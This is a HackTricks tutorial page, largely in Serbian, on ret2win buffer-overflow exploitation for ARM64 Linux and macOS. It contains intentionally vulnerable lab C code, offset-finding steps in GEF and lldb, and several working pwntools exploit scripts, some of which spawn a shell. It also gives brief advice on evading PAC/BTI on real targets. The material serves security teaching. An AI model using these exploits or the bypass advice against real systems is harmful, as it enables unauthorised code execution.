Ret2win - arm64

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pronađite uvod u arm64 u:

Introduction to ARM64v8

Kod

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompajliraj bez pie i canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Dodatni flag -mbranch-protection=none onemogućava AArch64 Branch Protection (PAC/BTI). Ako vaš toolchain podrazumevano omogućava PAC ili BTI, ovo održava laboratoriju ponovljivom. Da biste proverili da li kompajlirani binarni koristi PAC/BTI, možete:
  • Potražiti AArch64 GNU properties:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Inspektovati prologe/epiloge za paciasp/autiasp (PAC) ili za bti c landing pad-ove (BTI):
  • objdump -d ret2win | head -n 40

Kratke činjenice o AArch64 konvenciji poziva

  • Link registar je x30 (poznat i kao lr), i funkcije obično čuvaju x29/x30 pomoću stp x29, x30, [sp, #-16]! i vraćaju ih sa ldp x29, x30, [sp], #16; ret.
  • To znači da sačuvana adresa povratka živi na sp+8 u odnosu na osnovu frejma. Sa char buffer[64] smeštenim ispod, uobičajena distanca prepisivanja do sačuvanog x30 je 64 (buffer) + 8 (sačuvani x29) = 72 bajta — upravo ono što ćemo naći ispod.
  • Pokazivač steka mora ostati poravnat na 16 bajtova na granicama funkcija. Ako budete gradili ROP chains kasnije za složenije scenarije, održite SP poravnavanje ili možete srušiti program pri epilogima funkcija.

Pronalaženje offseta

Opcija pattern-a

Ovaj primer je kreiran korišćenjem GEF:

Pokrenite gdb sa gef, napravite pattern i koristite ga:

gdb -q ./ret2win
pattern create 200
run

arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pattern offset:

pattern search $x30

Offset je 72 (9x48).

Opcija za stack offset

Počni tako što ćeš dobiti adresu stack-a gde je smešten pc register:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Sada postavite breakpoint posle read() i nastavite izvršavanje dok se read() ne izvrši, i postavite obrazac kao на пример 13371337:

b *vulnerable_function+28
c

Pronađite gde je ovaj uzorak sačuvan u memoriji:

Zatim: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

Dohvatite adresu win funkcije:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Zapravo će ovo više biti off-by-2 u stored PC na stacku. Umesto da prepišemo celu return address, prepišemo samo poslednja 2 bajta vrednošću 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Možete pronaći još jedan off-by-one primer u ARM64 na https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, koji je stvarni off-by-one u fiktivnoj ranjivosti.

Sa PIE

Tip

Kompajlirajte binarni fajl bez -no-pie argumenta

Off-by-2

Bez leak-a ne znamo tačnu adresu win funkcije, ali možemo odrediti offset funkcije unutar binarija, i znajući da se adresа za povratak koju prepisujemo već nalazi blizu, moguće je otkriti offset do win funkcije (0x7d4) u ovom slučaju i jednostavno koristiti taj offset:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Kod
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Kompajlirajte bez canary (na macOS-u ne možete onemogućiti PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Pokreni bez ASLR-a (iako nam nije potreban pošto imamo address leak):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

Nije moguće onemogućiti NX na macOS jer je na arm64 ovaj režim implementiran na nivou hardvera, tako da ga ne možete onemogućiti; zato nećete naći primere sa shellcode u stacku na macOS.

Pronađite offset

  • Generišite pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Pokrenite program i unesite pattern da izazove crash:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Proveri registar x30 (the return address) da pronađeš offset:
(lldb) register read x30
  • Koristite cyclic -l <value> da pronađete tačan offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Tako sam našao offset 72; stavljanjem na taj offset adresu funkcije win() možete izvršiti tu funkciju i dobiti shell (pokreće se bez ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2. primer

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Kompajliraj bez canary (na macOS ne možete onemogućiti PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Pronađite offset

  • Generišite pattern u fajl /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Pokrenite program da izazove crash:
lldb ./bof_macos
(lldb) run
  • Proverite registar x30 (povratna adresa) da biste pronašli offset:
(lldb) register read x30
  • Koristite cyclic -l <value> da biste pronašli tačan offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Tako sam pronašao offset 72; stavljanjem na taj offset adrese funkcije win() možete izvršiti tu funkciju i dobiti shell (pokrenuto bez ASLR).

Izračunaj adresu win()

  • Binar je PIE; koristeći leak funkcije leak_anchor() i znajući offset funkcije win() u odnosu na leak_anchor(), možemo izračunati adresu funkcije win().
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • Offset je 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Beleške o modernom AArch64 ojačavanju (PAC/BTI) i ret2win

  • Ako je binarni fajl kompajliran sa AArch64 Branch Protection, možete videti paciasp/autiasp ili bti c emitovane u prologima/epilogima funkcija. U tom slučaju:
  • Vraćanje na adresu koja nije validan BTI landing pad može izazvati SIGILL. Preporučljivo je ciljati tačan ulaz funkcije koji sadrži bti c.
  • Ako je PAC omogućen za returns, naivne izmene return‑address mogu propasti jer epilog autentifikuje x30. Za scenarije učenja, rekompajlirajte sa -mbranch-protection=none (prikazano gore). Kada napadate realne ciljeve, preferirajte non‑return hijacks (npr. function pointer overwrites) ili gradite ROP koji nikada ne izvršava autiasp/ret par koji autentifikuje vaš falsifikovani LR.
  • Za brzu proveru feature‑a:
  • readelf --notes -W ./ret2win i potražite napomene AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 i potražite bti c, paciasp, autiasp.

Pokretanje na hostovima koji nisu ARM64 (qemu‑user kratki savet)

Ako ste na x86_64 ali želite da vežbate AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Povezane HackTricks stranice

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Reference

  • Omogućavanje PAC i BTI na AArch64 za Linux (Arm Community, novembar 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Standard poziva procedura za Arm 64-bitnu arhitekturu (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks